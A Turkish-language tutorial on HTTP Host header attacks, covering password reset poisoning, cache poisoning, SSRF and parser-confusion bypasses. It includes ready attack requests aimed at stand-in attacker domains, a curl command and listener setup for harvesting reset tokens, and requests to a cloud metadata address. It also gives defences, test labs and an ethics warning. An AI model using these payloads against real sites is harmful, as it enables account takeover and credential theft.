HTTP Host Header Attacks

Web uygulamalarında Host header zafiyetlerini keşfetme ve exploit etme rehberi

Host: evil-attacker.com

HTTP Host Header Nedir?

HTTP Host header, HTTP/1.1'den itibaren zorunlu bir request header'dır. İstemcinin erişmek istediği domain adını belirtir. Bu header, özellikle bir IP adresinde birden fazla web sitesinin barındırıldığı durumlarda kritik öneme sahiptir.

GET /web-security HTTP/1.1
Host: portswigger.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml
Host Header'ın Amaçları:
  • • Virtual Hosting: Tek IP'de birden fazla site barındırma
  • • Load Balancing: Trafiği uygun backend'e yönlendirme
  • • CDN Routing: Content Delivery Network üzerinden yönlendirme
  • • Reverse Proxy: İstekleri doğru sunucuya iletme
Virtual Hosting Nedir?
Virtual hosting, tek bir fiziksel sunucuda birden fazla web sitesinin barındırılması tekniğidir. Her site farklı domain adına sahip olmasına rağmen aynı IP adresini paylaşır. Sunucu, gelen isteklerdeki Host header'a bakarak hangi sitenin içeriğini döneceğini belirler.

Modern web mimarisinde Host header, reverse proxy'ler, load balancer'lar ve CDN'ler tarafından istekleri doğru backend servislere yönlendirmek için kullanılır. Bu kritik rol, Host header'ı saldırganlar için cazip bir hedef haline getirir.

Güvenlik Riski: Host header değeri kullanıcı tarafından kontrol edilebilir bir girdidir. Uygulamanın bu değere güvenmesi ve uygun doğrulama yapmaması ciddi güvenlik zafiyetlerine yol açabilir.

HTTP Host Header Saldırıları

HTTP Host header saldırıları, uygulamaların Host header değerini güvenli olmayan şekilde işlemesi sonucu ortaya çıkan zafiyetleri exploit eder. Bu saldırılar, Host header'a zararlı payload'lar enjekte edilerek sunucu tarafı davranışlarını manipüle etmeyi amaçlar.

Yaygın Zafiyet Türleri:
  • • Password Reset Poisoning: Şifre sıfırlama linklerini manipüle etme
  • • Web Cache Poisoning: Cache'lenen içeriği kirletme
  • • Business Logic Bypass: İş mantığı kontrollerini atlama
  • • SSRF (Server-Side Request Forgery): Sunucu tarafı istek sahteciliği
  • • Authentication Bypass: Kimlik doğrulama atlatma
// Zafiyet örneği - Host header'dan domain çekme
<?php
function generateResetLink($token) {
    $host = $_SERVER['HTTP_HOST']; // Güvenli değil!
    $resetUrl = "https://" . $host . "/reset?token=" . $token;
    return $resetUrl;
}

// Email gönderimi
$resetLink = generateResetLink($userToken);
sendEmail($userEmail, "Reset your password", $resetLink);
?>
Saldırı Senaryoları:
• Host header'ı manipüle ederek kullanıcıları kötü niyetli sitelere yönlendirme
• Cache poisoning ile toplu kullanıcı etkileme
• İç ağ servislerine erişim sağlama (SSRF)
• Authentication bypass ile yetkisiz erişim

Host header saldırıları genellikle uygulamanın Host header değerine implicit güven duyması ve bu değeri validate etmemesi sonucu ortaya çıkar. Saldırganlar bu zafiyeti kullanarak çeşitli güvenlik kontrollerini bypass edebilir ve sistemi manipüle edebilirler.

Password Reset Poisoning

Password Reset Poisoning, saldırganın zafiyet bulunan bir web sitesini manipüle ederek, kontrolleri altındaki bir domain'e işaret eden şifre sıfırlama linki oluşturmasına dayanan bir tekniktir. Bu teknik, rastgele kullanıcıların hesaplarını ele geçirmek için kullanılabilir.

Tarihçe: Bu teknik ilk kez 2013 yılında PortSwigger'ın Araştırma Direktörü James Kettle tarafından belgelenmiştir ve o zamandan beri yaygın bir web güvenliği zafiyeti haline gelmiştir.

Normal Şifre Sıfırlama Süreci:

1
Kullanıcı İsteği
Kullanıcı, kullanıcı adı veya e-posta adresini girer ve şifre sıfırlama isteği gönderir.
2
Token Oluşturma
Web sitesi kullanıcının varlığını kontrol eder ve geçici, benzersiz, yüksek entropi'li bir token oluşturarak kullanıcının hesabıyla ilişkilendirir.
3
E-posta Gönderimi
Web sitesi kullanıcıya şifre sıfırlama linki içeren bir e-posta gönderir. Link, benzersiz reset token'ını query parameter olarak içerir.
// Normal şifre sıfırlama linki
https://normal-website.com/reset?token=0a1b2c3d4e5f6g7h8i9j
4
Token Doğrulama
Kullanıcı linke tıkladığında, web sitesi token'ın geçerliliğini kontrol eder ve hangi hesabın sıfırlandığını belirler. Her şey uygunsa, kullanıcı yeni şifre girme seçeneği sunulur.

Password Reset Poisoning Saldırısı:

Saldırı Koşulu: Kullanıcıya gönderilen URL'nin Host header gibi kontrol edilebilir girdi temelinde dinamik olarak oluşturulması durumunda password reset poisoning saldırısı mümkün hale gelir.
1
Hedef Belirleme
Saldırgan, kurban kullanıcının e-posta adresini veya kullanıcı adını elde eder ve onun adına şifre sıfırlama isteği gönderir.
2
Host Header Manipülasyonu
İsteği gönderirken, saldırgan HTTP isteğini yakalar ve Host header'ı kendi kontrolündeki domain'e değiştirir.
POST /reset-password HTTP/1.1
Host: evil-attacker.com # Saldırganın kontrolündeki domain
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

email=victim@example.com
3
Zehirli E-posta
Kurban kullanıcı, web sitesinden gelen gerçek bir şifre sıfırlama e-postası alır. E-posta geçerli token içerir ancak domain saldırganın sunucusuna işaret eder.
// Zehirlenmiş şifre sıfırlama linki
https://evil-attacker.com/reset?token=0a1b2c3d4e5f6g7h8i9j
4
Token Çalma
Kurban linke tıkladığında (veya antivirüs yazılımı tarafından tarandığında), şifre sıfırlama token'ı saldırganın sunucusuna iletilir.
5
Hesap Ele Geçirme
Saldırgan artık gerçek web sitesine gidip çaldığı token'ı kullanarak kurbanın şifresini değiştirebilir ve hesabına erişebilir.
Sosyal Mühendislik: Gerçek bir saldırıda, saldırgan kurbanın linke tıklama olasılığını artırmak için önceden sahte güvenlik ihlali bildirimi gibi e-postalar gönderebilir.
HTML Injection
Şifre sıfırlama linkini kontrol edemeyenler bile, bazen Host header'ı kullanarak hassas e-postalara HTML inject edebilirler. E-posta istemcileri genellikle JavaScript çalıştırmasa da, dangling markup gibi diğer HTML injection teknikleri hala geçerli olabilir.

Saldırı Metodolojisi

HTTP Host header saldırılarını başarıyla gerçekleştirmek için sistematik bir yaklaşım benimsenmelidir. Bu metodoloji, zafiyet tespitinden exploit aşamasına kadar tüm adımları kapsar.

1. Keşif ve Reconnaissance

# Subdomain enumeration
subfinder -d target.com | tee subdomains.txt
assetfinder target.com | tee -a subdomains.txt

# Virtual host discovery
gobuster vhost -u http://target.com -w /usr/share/wordlists/subdomains.txt

# DNS enumeration
dig target.com A
nslookup target.com

2. Host Header Manipulation Testing

Test Edilecek Header'lar:
  • • Host: Temel Host header
  • • X-Forwarded-Host: Proxy'ler tarafından kullanılır
  • • X-Host: Bazı uygulamalarda desteklenir
  • • X-Forwarded-Server: Sunucu bilgisi iletimi
  • • X-HTTP-Host-Override: Host override için
// Temel Host header manipülasyonu
GET / HTTP/1.1
Host: evil.com
User-Agent: Mozilla/5.0

// X-Forwarded-Host ile deneme
GET / HTTP/1.1
Host: legitimate.com
X-Forwarded-Host: evil.com

// Duplicate headers
GET / HTTP/1.1
Host: legitimate.com
Host: evil.com

3. Response Analysis

Analiz Edilecek Noktalar:
• Response body'de manipüle edilen Host değerinin yansıması
• Redirect location header'larında Host kullanımı
• Set-Cookie domain parametrelerinde değişiklik
• JavaScript'te window.location değerleri
• Email içeriklerinde Host header kullanımı
# Burp Suite ile automated testing
burp-host-header-checks --target https://target.com

# Manual testing with curl
curl -H "Host: evil.com" https://target.com -v

# Response grep for host reflection
curl -H "Host: evil.com" https://target.com | grep -i evil.com
False Positives: Response'da Host değerinin görünmesi her zaman zafiyet anlamına gelmez. Değerin hangi context'te kullanıldığını ve güvenlik kontrollerini anlayın.

Tespit Teknikleri

Host header zafiyetlerini tespit etmek için çeşitli teknikler ve araçlar kullanılabilir. Her tekniğin kendine özgü avantajları ve kullanım alanları vardır.

Automated Detection Tools

# HostHeader Scanner
python3 hostheader-scanner.py -u https://target.com

# Nuclei templates
nuclei -u https://target.com -t /nuclei-templates/misconfiguration/host-header-injection.yaml

# Custom Python script
#!/usr/bin/env python3
import requests

headers = {
    'Host': 'evil.com',
    'X-Forwarded-Host': 'evil.com'
}

response = requests.get('https://target.com', headers=headers)
if 'evil.com' in response.text:
    print("Potential Host Header Injection found!")

Manual Testing Checklist

Password Reset Testing
1. Normal şifre sıfırlama işlemini gözlemleyin
2. Host header'ı değiştirerek istek gönderin
3. E-posta içeriğini kontrol edin
4. Link'in manipüle edilen domain'e işaret edip etmediğini kontrol edin
// Password reset test request
POST /forgot-password HTTP/1.1
Host: attacker-controlled.com
Content-Type: application/x-www-form-urlencoded

email=test@victim.com
Web Cache Poisoning Testi:
1. GET isteklerinde Host header manipülasyonu yapın
2. Response'ları birden fazla kez kontrol edin
3. Cache-Control header'larını analiz edin
4. Aynı manipülasyonun tüm kullanıcıları etkileyip etmediğini test edin
// Cache poisoning test
GET / HTTP/1.1
Host: evil.com
X-Forwarded-Host: evil.com
Cache-Control: no-cache

Advanced Detection Techniques

Port Manipulation:
  • • Host: target.com:8080 - Port değiştirme
  • • Host: target.com:22 - SSH port ile test
  • • Host: target.com:80@evil.com - URL parsing bypass
// Advanced payload examples
Host: target.com:80@evil.com
Host: target.com#@evil.com
Host: target.com%20@evil.com
Host: evil.com#target.com
Host: evil.com\.target.com

Exploit Örnekleri

Gerçek dünya senaryolarında Host header zafiyetlerinin nasıl exploit edilebileceğini gösteren pratik örnekler ve payload'lar.

1. Password Reset Poisoning Exploit

# 1. Set up listener on attacker server
python3 -m http.server 80

# 2. Send malicious reset request
curl -X POST https://target.com/reset-password \
  -H "Host: attacker.com" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=victim@target.com"
1
Listener Kurma
Saldırgan kendi sunucusunda HTTP listener kurar ve gelen istekleri loglar.
2
Malicious Request
Kurban kullanıcı adına şifre sıfırlama isteği gönderilir, Host header saldırganın domain'i ile değiştirilir.
3
Token Harvesting
Kurban e-postadaki linke tıkladığında, reset token'ı saldırganın sunucusuna gönderilir.
192.168.1.100 - - [25/Sep/2025 10:15:30] "GET /reset?token=abc123xyz789 HTTP/1.1" 200 -

2. Web Cache Poisoning

// Cache poisoning with JavaScript injection
GET /static/script.js HTTP/1.1
Host: evil.com/malicious.js#
X-Forwarded-Host: evil.com
Saldırı Sonucu: Cache poisoning başarılı olursa, tüm kullanıcılar saldırganın kontrolündeki JavaScript'i çalıştırabilir. Bu XSS saldırılarına, credential theft'e veya daha ciddi güvenlik ihlallerine yol açabilir.

3. Business Logic Bypass

// Admin panel erişimi için Host manipulation
GET /admin HTTP/1.1
Host: localhost

// Internal network bypass
GET /admin HTTP/1.1
Host: 127.0.0.1
X-Forwarded-Host: internal.company.local
Authentication Bypass
Bazı uygulamalar Host header'a dayanarak authentication bypass yapar. Örneğin localhost veya internal IP'lerden gelen isteklerin güvenilir kabul edilmesi durumu.

4. SSRF via Host Header

// Internal service discovery
GET / HTTP/1.1
Host: 192.168.1.50:3306

// Cloud metadata access
GET / HTTP/1.1
Host: 169.254.169.254
X-Forwarded-Host: 169.254.169.254
Cloud Metadata Risk: AWS, Azure ve GCP gibi cloud platformlarda metadata servislerine erişim, hassas bilgilerin (API anahtarları, erişim token'ları) sızdırılmasına yol açabilir.

İleri Teknikler

Host header saldırılarında kullanılan gelişmiş teknikler ve bypass yöntemleri. Bu teknikler, standart güvenlik kontrollerini atlatmak için kullanılır.

1. Header Injection Techniques

// Line wrapping for bypass
Host: legitimate.com
 evil.com

// Tab injection
Host: legitimate.com	evil.com

// Unicode normalization bypass
Host: evil.com # Fullwidth characters

// CRLF injection
Host: legitimate.com%0d%0aHost:%20evil.com
Override Headers Cascade:
  • • X-Forwarded-Host - En yaygın override
  • • X-Host - Alternatif override
  • • X-Forwarded-Server - Sunucu bilgisi
  • • X-HTTP-Host-Override - Explicit override
  • • Forwarded - RFC 7239 standardı

2. Parsing Confusion Attacks

// URL parsing confusion
Host: legitimate.com@evil.com
Host: legitimate.com#evil.com
Host: legitimate.com\\.evil.com

// Port confusion
Host: legitimate.com:80@evil.com:80
Host: legitimate.com:@evil.com

// IPv6 confusion
Host: [::1]:80@evil.com
Host: [evil.com]
Parser Differential: Farklı bileşenler (web server, uygulama, proxy) aynı Host header'ı farklı şekilde parse edebilir. Bu durum, güvenlik kontrollerinin bypass edilmesine yol açabilir.

3. Connection State Attacks

// HTTP/1.1 Pipeline abuse
GET /admin HTTP/1.1
Host: legitimate.com

GET /admin HTTP/1.1
Host: localhost

// HTTP/2 header smuggling
:authority: legitimate.com
host: evil.com
HTTP/2 vs HTTP/1.1
HTTP/2'de :authority pseudo-header kullanılır, ancak bazı sistemler hala HTTP/1.1 Host header'ına da bakar. Bu durum header smuggling saldırılarına imkan verebilir.

4. Time-based Techniques

# Cache timing attack
for i in {1..100}; do
    curl -H "Host: evil.com" https://target.com/static/app.js
    sleep 0.1
done

# Response time analysis
time curl -H "Host: internal.local" https://target.com/admin
time curl -H "Host: external.com" https://target.com/admin

Korunma Yöntemleri

HTTP Host header saldırılarına karşı etkili korunma stratejileri ve implementasyon örnekleri. Bu yöntemler savunma derinliği prensibi ile uygulanmalıdır.

1. Host Header Validation

// PHP - Whitelist approach
<?php
$allowed_hosts = [
    'example.com',
    'www.example.com',
    'api.example.com'
];

$host = $_SERVER['HTTP_HOST'] ?? '';

if (!in_array($host, $allowed_hosts)) {
    header('HTTP/1.1 400 Bad Request');
    exit('Invalid Host header');
}
?>
// Django settings.py
ALLOWED_HOSTS = [
    'example.com',
    'www.example.com',
    '.example.com',  # Subdomain wildcard
]

// Node.js Express middleware
const allowedHosts = ['example.com', 'www.example.com'];

function validateHost(req, res, next) {
    const host = req.get('Host');
    if (!allowedHosts.includes(host)) {
        return res.status(400).send('Invalid Host');
    }
    next();
}
Best Practice: Host header validasyonunu application layer'da yapın. Web server seviyesindeki kontrollerle birlikte katmanlı güvenlik sağlayın.

2. Configuration Security

# Apache Virtual Host configuration
<VirtualHost *:80>
    ServerName example.com
    ServerAlias www.example.com
    DocumentRoot /var/www/example
    
    # Reject unknown hosts
    <If "%{HTTP_HOST} !~ /^(www\.)?example\.com$/i">
        Require all denied
    </If>
</VirtualHost>

# Nginx configuration
server {
    listen 80;
    server_name example.com www.example.com;
    
    # Default server block for invalid hosts
    if ($host !~ ^(www\.)?example\.com$) {
        return 444; # Close connection
    }
}

3. Absolute URL Handling

// Güvenli URL oluşturma
class SecureUrlGenerator {
    private $baseUrl = 'https://example.com'; // Config'den al
    
    public function generateResetLink($token) {
        // Host header kullanma, config'den al
        return $this->baseUrl . '/reset?token=' . $token;
    }
    
    public function getCurrentDomain() {
        // Host header'a güvenme
        return parse_url($this->baseUrl, PHP_URL_HOST);
    }
}
Güvenli Pratikler:
  • • Mümkün olduğunca relative URL kullanın
  • • Absolute URL gerektiğinde config dosyasından alın
  • • Host header'a asla güvenmeyin
  • • Override header'ları devre dışı bırakın
  • • Input validation her katmanda yapın

4. Proxy ve Load Balancer Configuration

# HAProxy configuration
frontend web_frontend
    bind *:80
    bind *:443 ssl crt /path/to/cert.pem
    
    # Host header validation
    acl valid_host hdr(host) -i example.com www.example.com
    http-request deny unless valid_host
    
    # Remove override headers
    http-request del-header X-Forwarded-Host
    http-request del-header X-Host
    
    default_backend web_servers

# Cloudflare Workers example
addEventListener('fetch', event => {
    event.respondWith(handleRequest(event.request))
})

async function handleRequest(request) {
    const allowedHosts = ['example.com', 'www.example.com']
    const host = request.headers.get('Host')
    
    if (!allowedHosts.includes(host)) {
        return new Response('Invalid Host', { status: 400 })
    }
    
    return fetch(request)
}
Dikkat: Proxy ve load balancer seviyesinde yapılan kontrollerle yetinmeyin. Application layer'da da validation yapın. Defense in depth prensibi gereği her katmanda güvenlik kontrolü olmalıdır.

Test Laboratuvarları

HTTP Host header saldırılarını pratik yapabileceğiniz güvenli test ortamları ve laboratuvarlar. Bu platformlarda gerçek senaryolara benzer zafiyetleri test edebilirsiniz.

PortSwigger Web Security Academy
En kapsamlı Host header attack laboratuvarları. Password reset poisoning, cache poisoning ve routing bypass senaryoları mevcut.
URL: portswigger.net/web-security/host-header
Önerilen Lab Sıralaması:
  • 1. Basic Host Header Injection - Temel zafiyet keşfi
  • 2. Password Reset Poisoning - Email manipülasyonu
  • 3. Host Header Authentication Bypass - Kimlik doğrulama atlama
  • 4. Virtual Host Brute Force - Gizli host keşfi
  • 5. Routing-based SSRF - İç ağ erişimi
  • 6. Connection State Attack - HTTP smuggling

Diğer Platformlar

# DVWA (Damn Vulnerable Web Application)
docker run -p 80:80 vulnerables/web-dvwa

# WebGoat
docker run -p 8080:8080 webgoat/goatandwolf

# Damn Vulnerable Node.js App
git clone https://github.com/appsecco/dvna.git
npm install && npm start
Kendi Test Ortamınızı Kurma:
• Virtual machine ile izole network oluşturun
• Vulnerable PHP/Node.js uygulaması deploy edin
• Burp Suite ile proxy kurarak trafiği analiz edin
• Different parser'lar test edin (Nginx, Apache, IIS)

Pratik Senaryo Örnekleri

// Test Scenario 1: Password Reset
1. Normal reset işlemini gözlemle
2. Burp Proxy ile isteği yakala
3. Host header'ı değiştir
4. E-postayı kontrol et
5. Link manipulation başarısını doğrula

// Test Scenario 2: Cache Poisoning
1. GET /static/app.js normal istek
2. Host: evil.com ile istek
3. Response'da evil.com yansıması kontrol
4. Farklı browser'dan normal istek
5. Cache poisoning başarısını doğrula
Etik Uyarı: Bu teknikleri sadece kendi sistemlerinizde veya yetkilendirilmiş test ortamlarında kullanın. Üçüncü parti sistemlerde izinsiz test yapmak yasaldışıdır ve ciddi hukuki sonuçlara yol açabilir.

Host Header Security Mastery

Temel Prensipler
Never Trust User Input: Host header dahil tüm HTTP header'ları kullanıcı kontrollüdür
Defense in Depth: Birden fazla katmanda validasyon yapın
Principle of Least Trust: En az güven prensibi ile tasarım yapın
Configuration Review: Düzenli olarak proxy/server konfigürasyonlarını gözden geçirin

// Secure by design, secure by default